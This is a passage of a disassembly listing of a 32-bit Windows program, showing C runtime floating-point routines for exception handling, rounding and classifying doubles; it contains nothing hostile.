		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41A06D
		lea	eax, [ecx+edx]


loc_41A01B:				; CODE XREF: sub_419FCC+59j
		cmp	eax, esi
		jnb	short loc_41A029
		cmp	byte ptr [eax],	0
		jnz	short loc_41A027
		inc	eax
		jmp	short loc_41A01B
; ---------------------------------------------------------------------------


loc_41A027:				; CODE XREF: sub_419FCC+56j
		cmp	eax, esi


loc_41A029:				; CODE XREF: sub_419FCC+51j
		jnz	short loc_41A06D
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41A061
		cmp	esi, eax
		jbe	short loc_41A061
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41A058
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41A053


loc_41A04C:				; CODE XREF: sub_419FCC+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41A04C


loc_41A053:				; CODE XREF: sub_419FCC+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41A061
; ---------------------------------------------------------------------------


loc_41A058:				; CODE XREF: sub_419FCC+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41A061:				; CODE XREF: sub_419FCC+68j
					; sub_419FCC+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41A066:				; CODE XREF: sub_419FCC+38j
		mov	[ebp+var_4], 1


loc_41A06D:				; CODE XREF: sub_419FCC:loc_41A006j
					; sub_419FCC+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419FCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_41A075(int,int,double,int)

sub_41A075	proc near		; CODE XREF: sub_415E4A+51p
					; sub_415F93+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_431CF8, 0
		jnz	short loc_41A0AA
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_41A62A
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41A0AA:				; CODE XREF: sub_41A075+Aj
		push	0FFFFh
		mov	ds:dword_4C9084, 21h
		push	[ebp+arg_C]
		call	sub_41A89D
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_41A075	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41A0C8(int,int,double,double,int)

sub_41A0C8	proc near		; CODE XREF: sub_415E4A:loc_415F0Dp
					; sub_415F93:loc_416056p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_41A413
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41A106
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_41A160
		add	esp, 18h


loc_41A106:				; CODE XREF: sub_41A0C8+1Aj
		push	[ebp+arg_0]
		call	sub_41A6FD
		cmp	ds:dword_431CF8, 0
		pop	ecx
		jnz	short loc_41A144
		test	eax, eax
		jz	short loc_41A144
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_41A62A
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A144:				; CODE XREF: sub_41A0C8+4Ej
					; sub_41A0C8+52j
		push	eax
		call	sub_41A6B2
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_41A89D
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_41A0C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A160	proc near		; CODE XREF: sub_41A0C8+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_41A192
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_41A192:				; CODE XREF: sub_41A160+23j
		test	cl, 2
		jz	short loc_41A1A5
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_41A1A5:				; CODE XREF: sub_41A160+35j
		test	cl, bl
		jz	short loc_41A1B7
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_41A1B7:				; CODE XREF: sub_41A160+47j
		test	cl, 4
		jz	short loc_41A1CA
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_41A1CA:				; CODE XREF: sub_41A160+5Aj
		test	cl, 8
		jz	short loc_41A1DD
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_41A1DD:				; CODE XREF: sub_41A160+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_41A880
		test	al, bl
		jz	short loc_41A266
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_41A266:				; CODE XREF: sub_41A160+FDj
		test	al, 4
		jz	short loc_41A271
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_41A271:				; CODE XREF: sub_41A160+108j
		test	al, 8
		jz	short loc_41A27C
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_41A27C:				; CODE XREF: sub_41A160+113j
		test	al, 10h
		jz	short loc_41A286
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_41A286:				; CODE XREF: sub_41A160+11Ej
		test	al, 20h
		jz	short loc_41A290
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_41A290:				; CODE XREF: sub_41A160+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_41A2CF
		cmp	eax, 400h
		jz	short loc_41A2C1
		cmp	eax, 800h
		jz	short loc_41A2B5
		cmp	eax, ecx
		jnz	short loc_41A2D5
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_41A2D5
; ---------------------------------------------------------------------------


loc_41A2B5:				; CODE XREF: sub_41A160+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_41A2CB
; ---------------------------------------------------------------------------


loc_41A2C1:				; CODE XREF: sub_41A160+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_41A2CB:				; CODE XREF: sub_41A160+15Fj
		mov	[eax], ecx
		jmp	short loc_41A2D5
; ---------------------------------------------------------------------------


loc_41A2CF:				; CODE XREF: sub_41A160+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_41A2D5:				; CODE XREF: sub_41A160+14Bj
					; sub_41A160+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_41A300
		cmp	eax, 200h
		jz	short loc_41A2F3
		cmp	eax, ecx
		jnz	short loc_41A30D
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_41A30D
; ---------------------------------------------------------------------------


loc_41A2F3:				; CODE XREF: sub_41A160+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_41A30B
; ---------------------------------------------------------------------------


loc_41A300:				; CODE XREF: sub_41A160+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_41A30B:				; CODE XREF: sub_41A160+19Ej
		mov	[eax], ecx


loc_41A30D:				; CODE XREF: sub_41A160+189j
					; sub_41A160+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_41A88E
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	ds:dword_4221A4	; RaiseException
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_41A387
		and	dword ptr [esi], 0FFFFFFFEh


loc_41A387:				; CODE XREF: sub_41A160+222j
		test	byte ptr [eax+8], 8
		jz	short loc_41A390
		and	dword ptr [esi], 0FFFFFFFBh


loc_41A390:				; CODE XREF: sub_41A160+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_41A399
		and	dword ptr [esi], 0FFFFFFF7h


loc_41A399:				; CODE XREF: sub_41A160+234j
		test	byte ptr [eax+8], 2
		jz	short loc_41A3A2
		and	dword ptr [esi], 0FFFFFFEFh


loc_41A3A2:				; CODE XREF: sub_41A160+23Dj
		test	[eax+8], bl
		jz	short loc_41A3AA
		and	dword ptr [esi], 0FFFFFFDFh


loc_41A3AA:				; CODE XREF: sub_41A160+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_41A3DE
		dec	ecx
		jz	short loc_41A3D2
		dec	ecx
		jz	short loc_41A3C8
		dec	ecx
		jnz	short loc_41A3E0
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_41A3E0
; ---------------------------------------------------------------------------


loc_41A3C8:				; CODE XREF: sub_41A160+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_41A3DA
; ---------------------------------------------------------------------------


loc_41A3D2:				; CODE XREF: sub_41A160+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_41A3DA:				; CODE XREF: sub_41A160+270j
		mov	[esi], ecx
		jmp	short loc_41A3E0
; ---------------------------------------------------------------------------


loc_41A3DE:				; CODE XREF: sub_41A160+257j
		and	[esi], edx


loc_41A3E0:				; CODE XREF: sub_41A160+260j
					; sub_41A160+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_41A400
		dec	ecx
		jz	short loc_41A3F7
		dec	ecx
		jnz	short loc_41A409
		and	[esi], edx
		jmp	short loc_41A409
; ---------------------------------------------------------------------------


loc_41A3F7:				; CODE XREF: sub_41A160+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_41A407
; ---------------------------------------------------------------------------


loc_41A400:				; CODE XREF: sub_41A160+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_41A407:				; CODE XREF: sub_41A160+29Ej
		mov	[esi], ecx


loc_41A409:				; CODE XREF: sub_41A160+291j
					; sub_41A160+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41A160	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A413	proc near		; CODE XREF: sub_41A0C8+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_41A43E
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_41A43E
		push	ebx
		call	sub_41A8C0
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_41A608
; ---------------------------------------------------------------------------


loc_41A43E:				; CODE XREF: sub_41A413+15j
					; sub_41A413+1Aj
		test	al, 4
		jz	short loc_41A458
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_41A458
		push	4
		call	sub_41A8C0
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_41A608
; ---------------------------------------------------------------------------


loc_41A458:				; CODE XREF: sub_41A413+2Dj
					; sub_41A413+33j
		test	al, bl
		jz	loc_41A532
		test	byte ptr [ebp+arg_8], 8
		jz	loc_41A532
		push	8
		call	sub_41A8C0
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_41A50A
		cmp	ecx, 400h
		jz	short loc_41A4E2
		cmp	ecx, 800h
		jz	short loc_41A4BA
		cmp	ecx, eax
		jnz	loc_41A52A
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_422800
		fld	ds:dbl_431690
		fnstsw	ax
		sahf
		ja	short loc_41A4B2
		fchs


loc_41A4B2:				; CODE XREF: sub_41A413+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41A528
; ---------------------------------------------------------------------------


loc_41A4BA:				; CODE XREF: sub_41A413+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_422800
		fnstsw	ax
		sahf
		jbe	short loc_41A4D2
		fld	ds:dbl_431680
		jmp	short loc_41A4DA
; ---------------------------------------------------------------------------


loc_41A4D2:				; CODE XREF: sub_41A413+B5j
		fld	ds:dbl_431690
		fchs


loc_41A4DA:				; CODE XREF: sub_41A413+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41A528
; ---------------------------------------------------------------------------


loc_41A4E2:				; CODE XREF: sub_41A413+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_422800
		fnstsw	ax
		sahf
		jbe	short loc_41A4FA
		fld	ds:dbl_431690
		jmp	short loc_41A502
; ---------------------------------------------------------------------------


loc_41A4FA:				; CODE XREF: sub_41A413+DDj
		fld	ds:dbl_431680
		fchs


loc_41A502:				; CODE XREF: sub_41A413+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41A528
; ---------------------------------------------------------------------------


loc_41A50A:				; CODE XREF: sub_41A413+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_422800
		fld	ds:dbl_431680
		fnstsw	ax
		sahf
		ja	short loc_41A522
		fchs


loc_41A522:				; CODE XREF: sub_41A413+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_41A528:				; CODE XREF: sub_41A413+A5j
					; sub_41A413+CDj ...
		fstp	qword ptr [ecx]


loc_41A52A:				; CODE XREF: sub_41A413+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_41A608
; ---------------------------------------------------------------------------


loc_41A532:				; CODE XREF: sub_41A413+47j
					; sub_41A413+51j
		test	al, 2
		jz	loc_41A608
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_41A608
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_41A54D
		mov	esi, ebx


loc_41A54D:				; CODE XREF: sub_41A413+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	ds:dbl_422800
		fnstsw	ax
		sahf
		jz	loc_41A5F6
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_41A7BF
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_41A598
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_41A5EC
; ---------------------------------------------------------------------------


loc_41A598:				; CODE XREF: sub_41A413+17Aj
		fld	[ebp+var_C]
		fcomp	ds:dbl_422800
		fnstsw	ax
		sahf
		jnb	short loc_41A5AA
		mov	edx, ebx
		jmp	short loc_41A5AC
; ---------------------------------------------------------------------------


loc_41A5AA:				; CODE XREF: sub_41A413+191j
		xor	edx, edx


loc_41A5AC:				; CODE XREF: sub_41A413+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_41A5E0
		sub	eax, ecx


loc_41A5C3:				; CODE XREF: sub_41A413+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_41A5CE
		test	esi, esi
		jnz	short loc_41A5CE
		mov	esi, ebx


loc_41A5CE:				; CODE XREF: sub_41A413+1B3j
					; sub_41A413+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_41A5DA
		or	byte ptr [ebp+var_C+3],	80h


loc_41A5DA:				; CODE XREF: sub_41A413+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_41A5C3


loc_41A5E0:				; CODE XREF: sub_41A413+1ACj
		test	edx, edx
		jz	short loc_41A5EC
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_41A5EC:				; CODE XREF: sub_41A413+183j
					; sub_41A413+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_41A5F8
; ---------------------------------------------------------------------------


loc_41A5F6:				; CODE XREF: sub_41A413+14Ej
		mov	esi, ebx


loc_41A5F8:				; CODE XREF: sub_41A413+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_41A605
		push	10h
		call	sub_41A8C0
		pop	ecx


loc_41A605:				; CODE XREF: sub_41A413+1E8j
		and	edi, 0FFFFFFFDh


loc_41A608:				; CODE XREF: sub_41A413+26j
					; sub_41A413+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_41A61F
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_41A61F
		push	20h
		call	sub_41A8C0
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_41A61F:				; CODE XREF: sub_41A413+1F9j
					; sub_41A413+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_41A413	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41A62A(int,int,int,int,int,int,double,int)

sub_41A62A	proc near		; CODE XREF: sub_41A075+2Bp
					; sub_41A0C8+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_41A6D8
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_41A695
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_41A89D
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41E29F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41A68F
		push	esi
		call	sub_41A6B2
		pop	ecx


loc_41A68F:				; CODE XREF: sub_41A62A+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A695:				; CODE XREF: sub_41A62A+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_41A89D
		push	[ebp+arg_0]
		call	sub_41A6B2
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_41A62A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A6B2	proc near		; CODE XREF: sub_41A0C8+7Dp
					; sub_41A62A+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_41A6CD
		jle	short locret_41A6D7
		cmp	eax, 3
		jg	short locret_41A6D7
		mov	ds:dword_4C9084, 22h
		retn
; ---------------------------------------------------------------------------


loc_41A6CD:				; CODE XREF: sub_41A6B2+7j
		mov	ds:dword_4C9084, 21h

locret_41A6D7:				; CODE XREF: sub_41A6B2+9j
					; sub_41A6B2+Ej
		retn
sub_41A6B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A6D8	proc near		; CODE XREF: sub_41A62A+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_4315A8


loc_41A6DF:				; CODE XREF: sub_41A6D8+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_41A6F5
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_431680
		jl	short loc_41A6DF
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41A6F5:				; CODE XREF: sub_41A6D8+Dj
		mov	eax, ds:off_4315AC[ecx*8]
		retn
sub_41A6D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A6FD	proc near		; CODE XREF: sub_41A0C8+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_41A709
		push	5
		jmp	short loc_41A71F
; ---------------------------------------------------------------------------


loc_41A709:				; CODE XREF: sub_41A6FD+6j
		test	al, 8
		jz	short loc_41A711
		push	1
		jmp	short loc_41A71F
; ---------------------------------------------------------------------------


loc_41A711:				; CODE XREF: sub_41A6FD+Ej
		test	al, 4
		jz	short loc_41A719
		push	2
		jmp	short loc_41A71F
; ---------------------------------------------------------------------------


loc_41A719:				; CODE XREF: sub_41A6FD+16j
		test	al, 1
		jz	short loc_41A721
		push	3


loc_41A71F:				; CODE XREF: sub_41A6FD+Aj
					; sub_41A6FD+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41A721:				; CODE XREF: sub_41A6FD+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_41A6FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41A72A(double)

sub_41A72A	proc near		; CODE XREF: sub_415E4A:loc_415ED0p
					; sub_415F93:loc_416019p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_41A72A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41A73C(double,int)

sub_41A73C	proc near		; CODE XREF: sub_41A7BF+82p
					; sub_41A7BF+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_41A73C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A765	proc near		; CODE XREF: sub_415E4A+31p
					; sub_415F93+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_41A77C
		cmp	[ebp+arg_0], edx
		jnz	short loc_41A78E
		push	1
		jmp	short loc_41A7B8
; ---------------------------------------------------------------------------


loc_41A77C:				; CODE XREF: sub_41A765+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_41A78E
		cmp	[ebp+arg_0], edx
		jnz	short loc_41A78E
		push	2
		jmp	short loc_41A7B8
; ---------------------------------------------------------------------------


loc_41A78E:				; CODE XREF: sub_41A765+11j
					; sub_41A765+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_41A7A1
		push	3
		jmp	short loc_41A7B8
; ---------------------------------------------------------------------------


loc_41A7A1:				; CODE XREF: sub_41A765+36j
		cmp	cx, 7FF0h
		jnz	short loc_41A7BB
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_41A7B6
		cmp	[ebp+arg_0], edx
		jz	short loc_41A7BB


loc_41A7B6:				; CODE XREF: sub_41A765+4Aj
		push	4


loc_41A7B8:				; CODE XREF: sub_41A765+15j
					; sub_41A765+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41A7BB:				; CODE XREF: sub_41A765+41j
					; sub_41A765+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_41A765	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41A7BF(double,int)

sub_41A7BF	proc near		; CODE XREF: sub_41A413+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	ds:dbl_422800
		push	esi
		fnstsw	ax
		sahf
